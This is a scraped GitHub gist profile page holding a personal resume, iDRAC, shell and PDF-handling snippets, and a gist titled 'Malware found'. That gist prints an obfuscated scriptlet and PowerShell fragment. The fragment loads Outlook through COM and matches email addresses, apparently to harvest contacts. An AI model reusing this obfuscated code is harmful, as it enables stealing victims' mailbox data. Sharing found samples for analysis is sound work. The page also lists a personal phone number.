Skip to content

Instantly share code, notes, and snippets.

View msmarcal's full-sized avatar
🏠
Working from home

Marcelo Subtil Marcal msmarcal

🏠
Working from home
View GitHub Profile
{
"meta": { "theme": "stackoverflow" },
"basics": {
"name": "Marcelo Subtil Marcal",
"label": "Engineering Manager | System Administrator | Software Engineer",
"picture": "http://smarcal.com/images/msmarcal-profile.jpg",
"email": "[email protected]",
"phone": "+55 41 99121-1510",
"website": "http://smarcal.com",
"summary": "Marcelo hails from Curitiba, Brazil. He has earned Industrial Chemistry BSc degree from the \"Pontificia Universidade Catolica do Parana\". Before starting working with technology, Marcelo worked for Propec as a Quality Control Chemist. While attending University, he launched a Bulletin Board System and discovered his passion for technology. He began his I.T. career designing and implementing Internet Services Providers infrastructure in 1995 when he started to work for TeleCorp.",
@msmarcal
msmarcal / README
Created August 20, 2018 18:18 — forked from xbb/README
IDRAC6 Virtual Console Launcher
Use this as an example on how to start the virtual console without the need of Java Web Start or accessing it from the web interface.
You can use the user and password that you use for the web interface.
You need an old JRE... I used 1.7.0_80 from the Server JRE package, also I have tested successfully 1.7.0_79 with MacOS.
You don't need to install it, just extract it or copy the files in "jre" folder.
Open the viewer.jnlp file that you get by launching the virtual console from the web interface with a text editor.
Note the urls to the jar files. Download the main jar file avctKVM.jar and the libs for your operating system and architecture.
Extract the dlls (.so Linux, .jnilib MacOS) from the jar libs.
@msmarcal
msmarcal / 12341243.sct
Created May 21, 2018 22:46
Malware found
<?XML version="1.0"?>
<scriptlet>
<registration
progid="erwergewtgsfwr"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
function fgrsetgesrvwgee(min, max)
Add-Type -assembly $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBpAGMAcgBvAHMAbwBmAHQALgBPAGYAZgBpAGMAZQAuAEkAbgB0AGUAcgBvAHAALgBPAHUAdABsAG8AbwBrAA==')))
${_/=\/\__/=\/\/\__} = New-Object -comobject Outlook.Application
${____/===\_____/\/} = ${_/=\/\__/=\/\/\__}.GetNameSpace($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBBAFAASQA='))))
${_/\/=====\__/=\/=} = [System.Collections.ArrayList]@()
function ___/=\/\/=\___/=\_(${____/\____/\/\_/\_})
{
${____/==\__/\_/=\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XgBbAF8AYQAtAHoAMAAtADkALQBdACsAKABcAC4AWwBfAGEALQB6ADAALQA5AC0AXQArACkAKgBAAFsAYQAtAHoAMAAtADkALQBdACsAKABcAC4AWwBhAC0AegAwAC0AOQAtAF0AKwApACoAKABcAC4AWwBhAC0AegBdAHsAMgAsADQAfQApACQA')));
if (${____/\____/\/\_/\_} -match ${____/==\__/\_/=\_}) {
return $true
}
@msmarcal
msmarcal / LetsEncrypt_HTTPS_plex.MD
Created February 27, 2018 13:00 — forked from churro-s/LetsEncrypt_HTTPS_plex.MD
Setup Let's Encrypt certificate for use with Plex Media Server on Ubuntu
@msmarcal
msmarcal / git-deployment.md
Created February 16, 2018 02:30 — forked from noelboss/git-deployment.md
Simple automated GIT Deployment using Hooks

Simple automated GIT Deployment using GIT Hooks

Here are the simple steps needed to create a deployment from your lokal GIT repository to a server based on this in-depth tutorial.

How it works

You are developing in a working-copy on your local machine, lets say on the master branch. Most of the time, people would push code to a remote server like github.com or gitlab.com and pull or export it to a production server. Or you use a service like my Deepl.io to act upon a Web-Hook that's triggered that service.

@msmarcal
msmarcal / .lftp.mockup.rc
Created October 3, 2016 16:17 — forked from gaubert/.lftp.mockup.rc
~/.lftp.rc parameters detailed
########## SETTINGS
# On startup, lftp executes ~/.lftprc and ~/.lftp/rc. You can place aliases and 'set' commands
# there. Some people prefer to see full protocol debug, use 'debug' to turn the debug on.
# Certain commands and settings take a time interval parameter. It has the format Nx[Nx...], where N is time amount
# (floating point) and x is time unit: d - days, h - hours, m - minutes, s - seconds. Default unit is second. E.g.
# 5h30m or 5.5h. Also the interval can be 'infinity', 'inf', 'never', 'forever' - it means infinite interval. E.g.
# 'sleep forever' or 'set dns:cache-expire never'.
@msmarcal
msmarcal / Get IPv6
Last active October 27, 2016 16:12
ifconfig | grep "inet6 "| cut -d ' ' -f 2 > /Users/msmarcal/Dropbox/000-IPTRACK/DEXTER/PONG
curl 'http://v6.ident.me/' >> /Users/msmarcal/Dropbox/000-IPTRACK/DEXTER/PONG
dig AAAA myip.opendns.com +short @2620:0:ccc::2 >> /Users/msmarcal/Dropbox/000-IPTRACK/DEXTER/PONG
rm $1
PASSWD=<YOUR PASSWORD>
NEW_FILENAME="$(echo $1 | sed -E 's/Fatura_([0-9]{2})([0-9]{4}).*/\2-\1-VISA.pdf/')"
qpdf --decrypt --password=$PASSWD "$1" "$NEW_FILENAME"
/opt/local/bin/tag -a "topay" "$NEW_FILENAME"
rm -rf "$1"